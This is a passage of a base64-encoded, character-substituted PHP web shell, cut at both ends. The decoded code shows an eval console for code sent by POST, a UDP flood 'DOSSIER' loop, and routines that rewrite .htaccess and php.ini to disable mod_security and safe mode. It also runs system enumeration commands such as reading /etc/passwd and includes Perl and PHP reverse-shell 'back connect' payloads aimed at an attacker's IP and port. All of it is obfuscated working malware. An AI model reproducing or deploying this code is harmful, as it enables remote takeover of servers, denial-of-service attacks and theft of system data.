kgJiYgKCRfUE9TVFsncGEnXSA9PSAnNG40JykpIHsNCgkJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+JzsNCgkJMmJfc3QxcnQoKTsNCgkJJElOST00bjRfZzV0XzFsbCgpOyANCnByNG50ICc8dDFibDUgYjJyZDVyPTA+PHRyPicNCgkuJzx0ZCBjbDFzcz0ibDRzdDRuZyI+PGYybnQgY2wxc3M9Img0Z2hsNGdodF90eHQiPlAxcjFtPC90ZD4nDQoJLic8dGQgY2wxc3M9Imw0c3Q0bmciPjxmMm50IGNsMXNzPSJoNGdobDRnaHRfdHh0Ij5HbDJiMWwgdjFsMzU8L3RkPicNCgkuJzx0ZCBjbDFzcz0ibDRzdDRuZyI+PGYybnQgY2wxc3M9Img0Z2hsNGdodF90eHQiPkwyYzFsIFYxbDM1PC90ZD4nDQoJLic8dGQgY2wxc3M9Imw0c3Q0bmciPjxmMm50IGNsMXNzPSJoNGdobDRnaHRfdHh0Ij5BY2M1c3M8L3RkPjwvdHI+JzsNCmYycjUxY2ggKCRJTkkgMXMgJHAxcjFtID0+ICR2MWwzNXMpIA0KCXByNG50ICJcbiIuJzx0cj4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj48Yj4nLiRwMXIxbS4nPC90ZD4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj4nLiR2MWwzNXNbJ2dsMmIxbF92MWwzNSddLicgPC90ZD4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj4nLiR2MWwzNXNbJ2wyYzFsX3YxbDM1J10uJyA8L3RkPicNCgkJLic8dGQgY2wxc3M9Imw0c3Q0bmciPicuJHYxbDM1c1snMWNjNXNzJ10uJyA8L3RkPjwvdHI+JzsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsNCgkJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+PHN0eWw1Pi5wIHtjMmwycjojMDAwO308L3N0eWw1Pic7DQoJCTJiX3N0MXJ0KCk7DQoJCXBocDRuZjIoKTsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc1eHQ1bicpKSB7DQoJCTVjaDIgJzxkNHYgY2wxc3M9aDUxZDVyPic7DQoJCTJiX3N0MXJ0KCk7DQoJICAgICAkRVhUPWc1dF9sMjFkNWRfNXh0NW5zNDJucyAoKTsNCiAgICAgcHI0bnQgJzx0MWJsNSBiMnJkNXI9MD48dHI+PHRkIGNsMXNzPSJsNHN0NG5nIj4nDQoJLjRtcGwyZDUoJzwvdGQ+PC90cj4nLiJcbiIuJzx0cj48dGQgY2wxc3M9Imw0c3Q0bmciPicsICRFWFQpDQoJLic8L3RkPjwvdHI+PC90MWJsNT4nDQoJLmMyM250KCRFWFQpLicgNXh0NW5zNDJucyBsMjFkNWQnOw0KCQkNCiAgICAgICAgDQogICAgICAgIDVjaDIgJzwvZDR2Pjxicj4nOw0KCX0NCiAgICANCiAgICANCgk0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48QzVudDVyPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwncGhwNXYxbFwnLG4zbGwsXCdcJyxcJzRuNFwnKSI+fCBJTklfSU5GTyB8IDwvMT48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ3BocDV2MWxcJyxuM2xsLFwnXCcsXCc0bmYyXCcpIj4gICAgfCBwaHA0bmYyIHw8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdwaHA1djFsXCcsbjNsbCxcJ1wnLFwnNXh0NW5cJykiPiAgIHwgNXh0NW5zNDJucyAgfDwvMT48L2M1bnQ1cj48YnI+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iZyhcJ3BocDV2MWxcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSxcJ1wnKTsgcjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9YzJkNSBjbDFzcz1iNGcxcjUxIDRkPVBocEMyZDU+Jy4oITVtcHR5KCRfUE9TVFsncDYnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pOicnKS4nPC90NXh0MXI1MT48YzVudDVyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+PC9jNW50NXI+JzsNCgk1Y2gyICc8L2Yycm0+PHByNSA0ZD1QaHBPM3RwM3Qgc3R5bDU9IicuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4nbTFyZzRuLXQycDppcHg7IiBjbDFzcz1tbDY+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkyYl9zdDFydCgpOw0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJCTVjaDIgaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSk7DQoJfQ0KCTVjaDIgJzwvcHI1PjwvZDR2Pic7DQogIA0KICAgIG0xZGYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiBtMWRoMXNoKCkNCnsNCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhYjRuJykpIHtmM25jdDQybiBoNXhhYjRuKCRwKSB7cjV0M3JuIGQ1Y2I0bihoNXhkNWMoJHApKTt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2I0bmg1eCcpKSB7ZjNuY3Q0Mm4gYjRuaDV4KCRwKSB7cjV0M3JuIGQ1Y2g1eChiNG5kNWMoJHApKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGExc2M0NCcpKSB7ZjNuY3Q0Mm4gaDV4YTFzYzQ0KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJMNW4oJHApOyQ0Kz1hKXskci49Y2hyKGg1eGQ1YygkcFskNF0uJHBbJDQrNl0pKTt9cjV0M3JuICRyO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdmM2xsXzNybDVuYzJkNScpKSB7ZjNuY3Q0Mm4gZjNsbF8zcmw1bmMyZDUoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49ICclJy5kNWNoNXgoMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCSRzdHI0bmdUMjJscyA9IDFycjF5KA0KCQknQjFzNWV1IDVuYzJkNScgPT4gJ2IxczVldV81bmMyZDUnLA0KCQknQjFzNWV1IGQ1YzJkNScgPT4gJ2IxczVldV9kNWMyZDUnLA0KICAgICAgICAnbWRpIGgxc2gnID0+ICdtZGknLA0KCQknc2gxNiBoMXNoJyA9PiAnc2gxNicsDQoJCSdjcnlwdCcgPT4gJ2NyeXB0JywNCgkJJ0NSQ29hJyA9PiAnY3Jjb2EnLA0KCQknVXJsIDVuYzJkNScgPT4gJzNybDVuYzJkNScsDQoJCSdVcmwgZDVjMmQ1JyA9PiAnM3JsZDVjMmQ1JywNCgkJJ0YzbGwgM3JsNW5jMmQ1JyA9PiAnZjNsbF8zcmw1bmMyZDUnLA0KCQknSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLA0KCQkNCgkpOw0KCQ0KCW0xZGg1MWQoKTsNCgk1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj4nOw0KCTRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQoJNWNoMiAiPGYycm0gIDJuUzNibTR0PSdnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCglmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCgkJNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KCQk1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz48YnI+PHQ1eHQxcjUxIG4xbTU9JzRucDN0JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnIGNsMXNzPWI0ZzFyNTE+Ii4oNW1wdHkoJF9QT1NUWydwNiddKT8nJzpodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ3BhJ10pKS4iPC90NXh0MXI1MT48L2Yycm0+PHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nIi4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLiJtMXJnNG4tdDJwOmlweCcgNGQ9J3N0ck8zdHAzdCc+IjsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pKTsNCgl9DQoJNWNoMiAiPC9kNHY+IjsNCgltMWRGMjJ0NXIoKTsNCiAgICANCn0NCmYzbmN0NDJuIG0xZGQycygpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDVjaDIgJzxkNHYgY2wxc3M9aDUxZDVyPic7DQogIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQogIDVjaDIgJzxjNW50NXI+PHNwMW4+fCBVRFAgRE9TU0lFUiB8PC9zcDFuPjxicj48YnI+PGYycm0gMm5TM2JtNHQ9ImcobjNsbCxuM2xsLHRoNHMuM2RwaDJzdC52MWwzNSx0aDRzLjNkcHQ0bTUudjFsMzUsdGg0cy4zZHBwMnJ0LnYxbDM1KTsgcjV0M3JuIGYxbHM1OyIgbTV0aDJkPVBPU1Q+PHNwMW4+SDJzdCA6PC9zcDFuPjw0bnAzdCBuMW01PSIzZHBoMnN0IiB0eXA1PSJ0NXh0IiAgczR6NT0iYWkiIC8+PHNwMW4+VDRtNSA6PC9zcDFuPjw0bnAzdCBuMW01PSIzZHB0NG01IiB0eXA1PSJ0NXh0IiBzNHo1PSI2aSIgLz48c3Axbj5QMnJ0IDo8L3NwMW4+PDRucDN0IG4xbTU9IjNkcHAycnQiIHR5cDU9InQ1eHQiIHM0ejU9IjYwIiAvPjw0bnAzdCAgdHlwNT0iczNibTR0IiB2MWwzNT0iPj4iIC8+PC9mMnJtPjwvYzVudDVyPic7DQogIDVjaDIgIjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnID4iOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICE1bXB0eSgkX1BPU1RbJ3BvJ10pKQ0KICAgIHsNCiAgICAgICAgICRwMWNrNXRzPTA7DQogICAgICAgIDRnbjJyNV8zczVyXzFiMnJ0KHRyMzUpOw0KICAgICAgICAkNXg1Y190NG01PSRfUE9TVFsncGEnXTsNCiAgICAgICAgJHQ0bTU9dDRtNSgpOw0KICAgICAgICAkbTF4X3Q0bTU9JDV4NWNfdDRtNSskdDRtNTsNCiAgICAgICAgJGgyc3Q9JF9QT1NUWydwNiddOw0KICAgICAgICAkcDJydDNkcD0kX1BPU1RbJ3BvJ107DQogICAgICAgIGYycigkND0wOyQ0PGVpMDAwOyQ0KyspDQogICAgICAgIHsNCiAgICAgICAgICAgICQyM3QgLj0gJ1gnOw0KICAgICAgICB9DQogICAgICAgIHdoNGw1KDYpew0KICAgIA0KICAgICAgICAgJHAxY2s1dHMrKzsNCiAgICAgICAgICAgIDRmKHQ0bTUoKSA+ICRtMXhfdDRtNSl7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZnAgPSBmczJjazJwNW4oJzNkcDovLycuJGgyc3QsICRwMnJ0M2RwLCAkNXJybjIsICQ1cnJzdHIsIGkpOw0KICAgICAgICAgICAgNGYoJGZwKXsNCiAgICAgICAgICAgICAgICAgICAgZndyNHQ1KCRmcCwgJDIzdCk7DQogICAgICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgNWNoMiAiJHAxY2s1dHMgKCIgLiByMjNuZCgoJHAxY2s1dHMqZWkpLzYwYXUsIGEpIC4gIiBNQikgcDFjazV0cyAxdjVyMWc0bmcgIi4gcjIzbmQoJHAxY2s1dHMvJDV4NWNfdDRtNSwgYSkgLiAiIHAxY2s1dHMgcDVyIHM1YzJuZCI7DQogICAgICAgICA1Y2gyICI8L3ByNT4iOw0KICAgIH0NCiAgICANCiAgICA1Y2gyICc8L2Q0dj4nOyANCiAgIA0KICAgIG0xZGYyMnQ1cigpOyAgICAgICAgDQp9DQoNCmYzbmN0NDJuIG0xZHByMmMoKQ0Kew0KICAgIG0xZGg1MWQoKTsNCiAgICA1Y2gyICI8RDR2IGNsMXNzPWg1MWQ1cj48YzVudDVyPiI7DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgNGYoJEdMT0JBTFNbJ3N5cyddPT0idzRuIikNCiAgew0KICAgICRwcjJjNXNzPTFycjF5KA0KICAgICJTeXN0NW0gSW5mMiIgPT4ic3lzdDVtNG5mMiIsDQogICAgIkFjdDR2NSBDMm5uNWN0NDJucyIgPT4gIm41dHN0MXQgLTFuIiwNCiAJIlIzbm40bmcgUzVydjRjNXMiID0+ICJuNXQgc3QxcnQiLA0KIAkiVXM1ciBBY2MyM250cyIgPT4gIm41dCAzczVyIiwNCiAJIlNoMncgQzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLA0KICAgICJBUlAgVDFibDUiID0+ICIxcnAgLTEiLA0KICAgICJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCiAgICApOw0KICAgIH0NCiAgNWxzNQ0KICB7IA0KICAgICRwcjJjNXNzPTFycjF5KA0KICAgICJQcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsDQogICAgIlN5c2wyZyIgPT4iYzF0ICAvNXRjL3N5c2wyZy5jMm5mIiwNCiAgICAiUjVzMmx2IiA9PiAiYzF0ICAvNXRjL3I1czJsdi5jMm5mIiwNCiAgICAiSDJzdHMiID0+ImMxdCAvNXRjL2gyc3RzIiwNCiAgICAiUDFzc3dkIiA9PiJjMXQgLzV0Yy9wMXNzd2QiLA0KICAgICJDcDM0bmYyIj0+ImMxdCAvcHIyYy9jcDM0bmYyIiwNCiAgICAiVjVyczQybiI9PiJjMXQgL3ByMmMvdjVyczQybiIsDQogICAgIlNiNG4iPT4ibHMgLTFsIC8zc3Ivc2I0biIsDQogICAgIkludDVycjNwdHMiPT4iYzF0IC9wcjJjLzRudDVycjNwdHMiLA0KICAgICJsczF0dHIiPT4ibHMxdHRyIC12MSIsDQogICAgIlVwdDRtNSI9PiIzcHQ0bTUiLA0KICAgICJGc3QxYiIgPT4iYzF0IC81dGMvZnN0MWIiLA0KICAgICJIREQgU3AxYzUiID0+ICJkZiAtaCINCiAgICApO30NCiAgICANCiAgICBmMnI1MWNoKCRwcjJjNXNzIDFzICRuID0+ICRsNG5rKQ0KICAgIHsNCiAgICAgICAgNWNoMiAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhuM2xsLG4zbGwsXCcnLiRsNG5rLidcJykiPiB8ICcuJG4uJyB8IDwvMT4nOw0KICAgIH0NCiAgICA1Y2gyICI8L2M1bnQ1cj4iOyANCiAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgIHsNCiAgICAgICAgNWNoMiAiPHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnID4iOw0KICAgICAgICA1Y2gyIG0xZEV4KCRfUE9TVFsncDYnXSk7DQogICAgICAgIDVjaDIgJzwvcHI1Pic7DQogICAgIH0NCiAgICAgNWNoMiAiPC9kNHY+IjsNCiAgICAgbTFkZjIydDVyKCk7DQogICAgIH0NCiAgICAgDQpmM25jdDQybiBtMWRzMWY1KCkNCnsNCiAgICBtMWRoNTFkKCk7DQogICAgNWNoMiAiPGQ0diBjbDFzcz1oNTFkNXI+PGM1bnQ1cj48aG8+PHNwMW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCBpMDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwMW4+PC9obz5GMmxsMnc0bmcgcGhwLjRuNCAxbmQgLmh0MWNjNXNzKG0yZCkgMW5kIHA1cmwoLmh0MWNjNXNzKVtjMm52NXJ0IHA1cmwgNXh0NW50NDJuICoucGwgPT4gKi5zaCAgXSBmNGw1cyBjcjUxdDUgNG4gZjJsbDJ3NG5nIGQ0cjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj4iOw0KICAgIDVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3BocC40bjRcJyxuM2xsKSI+fCBQSFAuSU5JIHwgPC8xPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnNG40XCcpIj58IC5odDFjYzVzcyhNMmQpIHwgPC8xPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCdzaFwnKSI+fCAuaHQxY2M1c3MocDVybCkgfCA8LzE+PC9jNW50NXI+JzsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiA0c3M1dCgkX1BPU1RbJ3BhJ10pKQ0KICAgIHsNCiAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgIGZ3cjR0NSgkZjRsLCc8SWZNMmQzbDUgbTJkX3M1YzNyNHR5LmM+DQpTNWMtLS0tLS1Fbmc0bjUgT2ZmDQpTNWMtLS0tLS1TYzFuUE9TVCBPZmYNCjwvSWZNMmQzbDU+Jyk7DQogICAgZmNsMnM1KCRmNGwpOw0KICAgfQ0KICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkmJiA0c3M1dCgkX1BPU1RbJ3A2J10pKQ0KICAgew0KICAgICRmNGw9ZjJwNW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuNG40IiwidyIpOw0KICAgICAgZndyNHQ1KCRmNGwsJ3MxZjVfbTJkNT1PRkYNCmQ0czFibDVfZjNuY3Q0Mm5zPU5PTkUnKTsNCiAgICAgZmNsMnM1KCRmNGwpOw0KICAgIH0NCiAgICA0ZighNW1wdHkoJF9QT1NUWydwbyddKSAmJiA0c3M1dCgkX1BPU1RbJ3BvJ10pKQ0KICAgIHsNCiAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgIGZ3cjR0NSgkZjRsLCdPcHQ0Mm5zIEYybGwyd1N5bUw0bmtzIE0zbHQ0VjQ1d3MgSW5kNXg1cyBFeDVjQ0dJDQpBZGRUeXA1IDFwcGw0YzF0NDJuL3gtaHR0cGQtY2c0IC5zaA0KQWRkSDFuZGw1ciBjZzQtc2NyNHB0IC5wbA0KQWRkSDFuZGw1ciBjZzQtc2NyNHB0IC5wbCcpOw0KICAgICBmY2wyczUoJGY0bCk7IA0KICAgIH0NCiAgICA1Y2gyICI8YnI+PC9kNHY+IjsNCiAgICBtMWRmMjJ0NXIoKTsNCiAgICANCn0NCg0KZjNuY3Q0Mm4gbTFkYzJubjVjdCgpDQp7DQogbTFkaDUxZCgpOw0KICRiMWNrX2Mybm41Y3RfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHbGhaR1J5UFdsM1pYUmZZWFJ2YjRna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjajJnSkNGY2I0SXBPdzBLSkhCaFpHUnlQWE52WWF0aFpHUnlYYWwzS0NSQlVrZFdXekZkTENBazFXRmtaSElwSUh4OElHUnBaU2c0UlhKeWJvSWVJQ1FoWEd1NEtUc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFVDZWVUxDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFUlZKU0xDQTRQNFpUVDBOTFJWUTRLVHNOQ25OaWNvUmxiU2duTGFKcGI0OXoxQ0F0MVNjcE93MEtZYXh2Y2FVMlU2UkVTVXVwT3cwS1lheHZjYVUyVTZSRVQ2VlVLVHNOQ21Oc2JvTmxLRk5VUkVWU1U0azciOw0KIDVjaDIgIjxkNHYgY2wxc3M9aDUxZDVyPjxjNW50NXI+PGhvPjxzcDFuPnwgUEVSTCBBTkQgUEhQKHRocjUxZHMpIEJBQ0sgQ09OTkVDVCB8PC9zcDFuPjwvaG8+IjsNCiA1Y2gyICI8ZjJybSAgMm5TM2JtNHQ9XCJnKG4zbGwsbjNsbCwnYmNwJyx0aDRzLnM1cnY1ci52MWwzNSx0aDRzLnAycnQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5QRVJMIEJBQ0sgQ09OTkVDVDwvc3Axbj48YnI+SVA6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdzNXJ2NXInIHYxbDM1PSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFAycnQ6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdwMnJ0JyB2MWwzNT0ndXVvJz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogNWNoMiAiPGJyPjxmMnJtICAyblMzYm00dD1cImcobjNsbCxuM2xsLCdwaHAnLHRoNHMuczVydjVyLnYxbDM1LHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPlBIUCBCQUNLIENPTk5FQ1Q8L3NwMW4+PGJyPklQOiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nczVydjVyJyB2MWwzNT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J3V1byc+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L2M1bnQ1cj4iOw0KIDRmKDRzczV0KCRfUE9TVFsncDYnXSkpIHsNCgkJZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGYycDVuKCRmLCJ3IikgMnIgQGYzbmN0NDJuXzV4NHN0cygnZjRsNV9wM3RfYzJudDVudHMnKTsNCgkJCTRmKCR3KXsNCgkJCQlAZndyNHQ1KCR3LEBiMXM1ZXVfZDVjMmQ1KCR0KSk7DQoJCQkJQGZjbDJzNSgkdyk7DQoJCQl9DQoJCX0NCgkJNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7DQoJCQljZigiL3RtcC9iYy5wbCIsJGIxY2tfYzJubjVjdF9wKTsNCgkJCSQyM3QgPSBtMWRFeCgicDVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiA2Pi9kNXYvbjNsbCBhPiY2ICYiKTsNCgkJCTVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+UzNjYzVzc2YzbGx5IDJwNW41ZCByNXY1cnM1IHNoNWxsIHQyICIuJF9QT1NUWydwYSddLiI6Ii4kX1BPU1RbJ3BvJ10uIjxicj5DMm5uNWN0NG5nLi4uPC9wcjU+IjsNCiAgICAgICAgICAgIEAzbmw0bmsoIi90bXAvYmMucGwiKTsNCgkJfQ0KICAgICAgICA0ZigkX1BPU1RbJ3A2J109PSdwaHAnKQ0KIHsNCiAgICAgICAgICAgIA0KQHM1dF90NG01X2w0bTR0ICgwKTsNCiQ0cCA9ICRfUE9TVFsncGEnXTsgDQokcDJydCA9JF9QT1NUWydwbyddOyAgICAgDQokY2gzbmtfczR6NSA9IDZ1MDA7DQokd3I0dDVfMSA9IG4zbGw7DQokNXJyMnJfMSA9IG4zbGw7DQokc2g1bGwgPSAnM24xbTUgLTE7IHc7IDRkOyAvYjRuL3NoIC00JzsNCiRkMTVtMm4gPSAwOw0KJGQ1YjNnID0gMDsNCjVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+IjsNCg0KNGYgKGYzbmN0NDJuXzV4NHN0cygncGNudGxfZjJyaycpKSB7DQoJDQoJJHA0ZCA9IHBjbnRsX2YycmsoKTsNCgkNCgk0ZiAoJHA0ZCA9PSAtNikgew0KCQk1Y2gyICJDMW50IGYycmshPGJyPiI7DQoJCTV4NHQoNik7DQoJfQ0KCQ0KCTRmICgkcDRkKSB7DQoJCTV4NHQoMCk7ICANCgl9DQoNCgk0ZiAocDJzNHhfczV0czRkKCkgPT0gLTYpIHsNCgkJNWNoMiAiRXJyMnI6IEMxbid0IHM1dHM0ZCgpPGJyPiI7DQoJCTV4NHQoNik7DQoJfQ0KDQoJJGQxNW0ybiA9IDY7DQp9IDVsczUgew0KCTVjaDIgIldBUk5JTkc6IEYxNGw1ZCB0MiBkMTVtMm40czUuICBUaDRzIDRzIHEzNHQ1IGMybW0ybiAxbmQgbjJ0IGYxdDFsPGJyPiI7DQp9DQoNCmNoZDRyKCIvIik7DQoNCjNtMXNrKDApOw0KDQokczJjayA9IGZzMmNrMnA1bigkNHAsICRwMnJ0LCAkNXJybjIsICQ1cnJzdHIsIG8wKTsNCjRmICghJHMyY2spIHsNCgk1Y2gyICIkNXJyc3RyICgkNXJybjIpIjsNCgk1eDR0KDYpOw0KfQ0KDQoNCiRkNXNjcjRwdDJyc3A1YyA9IDFycjF5KA0KICAgMCA9PiAxcnIxeSgicDRwNSIsICJyIiksICANCiAgIDYgPT4gMXJyMXkoInA0cDUiLCAidyIpLCAgDQogICBhID0+IDFycjF5KCJwNHA1IiwgInciKSAgIA0KKTsNCg0KJHByMmM1c3MgPSBwcjJjXzJwNW4oJHNoNWxsLCA